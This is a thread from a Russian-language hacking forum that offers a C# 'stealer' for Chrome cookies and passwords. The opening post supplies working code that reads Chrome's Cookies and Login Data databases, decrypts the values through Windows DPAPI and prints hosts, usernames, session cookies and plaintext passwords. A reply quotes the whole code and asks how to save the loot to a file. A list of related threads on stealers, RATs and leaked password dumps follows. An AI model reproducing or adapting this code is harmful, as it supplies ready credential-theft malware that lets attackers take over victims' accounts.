Стиллер куков и паролей c#

R

Riddle

Нашел гдет на просторах нета, немного переделал:
Код:
 static public IEnumerable<Tuple<string, string, string>> ReadCookies()
        {
   
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find cookie store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
             

                cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[1];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);

                    }

                }

                conn.Close();
            }
        }




        static public IEnumerable<Tuple<string, string, string>> ReadPass()
        {
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find Login Data store", dbPath); 

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
             

                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2),reader.GetString(1), plainText);

                    }

                }

                conn.Close();
            }
        }

Вызвать можно так :
Код:
var cook = ReadCookies();
            foreach (var item in cook)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
            Console.WriteLine();
         

            var pas = ReadPass();
            foreach (var item in pas)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
 
  • Like
Реакции: Kpa6
Y

YoungCoder

Нашел гдет на просторах нета, немного переделал:
Код:
 static public IEnumerable<Tuple<string, string, string>> ReadCookies()
        {
  
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find cookie store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
            

                cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[1];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);

                    }

                }

                conn.Close();
            }
        }




        static public IEnumerable<Tuple<string, string, string>> ReadPass()
        {
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find Login Data store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
            

                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2),reader.GetString(1), plainText);

                    }

                }

                conn.Close();
            }
        }

Вызвать можно так :
Код:
var cook = ReadCookies();
            foreach (var item in cook)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
            Console.WriteLine();
        

            var pas = ReadPass();
            foreach (var item in pas)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
А как в файл записать? А есть ещё с куками сорсы?
 
Похожие темы
L Интересно Java - Стиллер паролей в Minecraft моде Программирование 8
L Интересно C# - Динамическая загрузка DLL (пишем стиллер в 9кб) Программирование 4
S Интересно Свой мини-рат на python + стиллер хрома v80 Готовый софт 8
R Интересно AZORULT 3.3.1 стиллер с другова Форума Готовый софт 5
E Биткоин стиллер на C# Готовый софт 0
S Стиллер всякого на VBS Программирование 1
M USB флешка-стиллер своими руками Программирование 1
M Нужен стиллер/ратник Покупка/Продажа 1
J Стиллер паролей с отправкой по почте. Вирусология 5
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
T Есть стиллер,нужен напарник для распространения Свободное общение и флейм 2
T Получаем доступ к FTP через стиллер Полезные статьи 0
Traven Пишем свой стиллер на Python Программирование 5
A [ГАЙД]Делаем простецкий стиллер своими руками Полезные статьи 5
O Пишем стиллер на Batch Вирусология 15
M [USB]Стиллер или флешка ВОР) Готовый софт 40
D Гайд как создать стиллер. Полезные статьи 18
farhad.tiger Создам Вам RMS, стиллер, кейлоггер под ключ[free] Готовый софт 2
Support81 Идеальные фейки, кража карт и паролей — ИИ тихо готовится к войне с людьми? Новости в сети 0
Support81 RTX 5090: Nvidia создала монстра для взлома паролей и скромно назвала его видеокартой Новости в сети 0
Support81 Тотальная утечка: в сети 6 миллиардов паролей, и все те же Новости в сети 0
Emilio_Gaviriya Статья Защита паролей от кейлоггеров Анонимность и приватность 0
balof почт и паролей 895к Раздачи и сливы 3
F Собираю команду для брута паролей. Готовый софт 0
Anorali Интересно Написание стиллера паролей от wifi Уязвимости и взлом 24
E Интересно Ненадёжность хранения паролей TeamViewer Уязвимости и взлом 0
Little_Prince Пак паролей для расшифровки дампов Раздачи и сливы 6
M NordPass - менеджер паролей от NordVPN Полезные статьи 0
V 13 миллиардов почт и паролей пользователей Полезные статьи 11
M База логинов и паролей Online Уязвимости и взлом 4
Ж Генератор паролей C++ Программирование 0
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Раздачи и сливы 0
T [Асгард — С первых рук] Самодельный апаратный менеджер паролей Полезные статьи 0
1 Wi-Fi точка для перехвата паролей Уязвимости и взлом 4
R 16,5 гб паролей для взлома wifi Уязвимости и взлом 2
K Сборник программ для взлома паролей различных зашифрованных файлов запароленных архивов Раздачи и сливы 1
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Раздачи и сливы 0
G Seth - MITM атака, перехват RDP паролей. Уязвимости и взлом 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2 Уязвимости и взлом 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
G Слив более 2 миллионов логинов и паролей от E-mail Раздачи и сливы 10
H Огромная база паролей от аккаунтов социальных сетей. Полезные статьи 3
K Использование Burp Suite в сценариях человек-посередине (MitM): сбор информации, перехват паролей, заражение бэкдорами Уязвимости и взлом 0
K Извлечение всех паролей (веб-браузеры, почтовые программы и пр.) в Windows и Linux Уязвимости и взлом 3
K Взлом паролей MS Office, PDF, 7-Zip, RAR, TrueCrypt, Bitcoin/Litecoin wallet.dat, htpasswd в oclHashcat Уязвимости и взлом 0
G Дешифровщик FTP паролей. Готовый софт 0
G ☠️1,4 млрд логинов и паролей Раздачи и сливы 0
S Перехват куки и паролей Фишинг, мошенничество, СИ 0
S Кража паролей: как наши учетки уводят через npm-пакет Уязвимости и взлом 0
S Опубликована база данных, включающая 320 млн уникальных хешей паролей Новости в сети 0

Название темы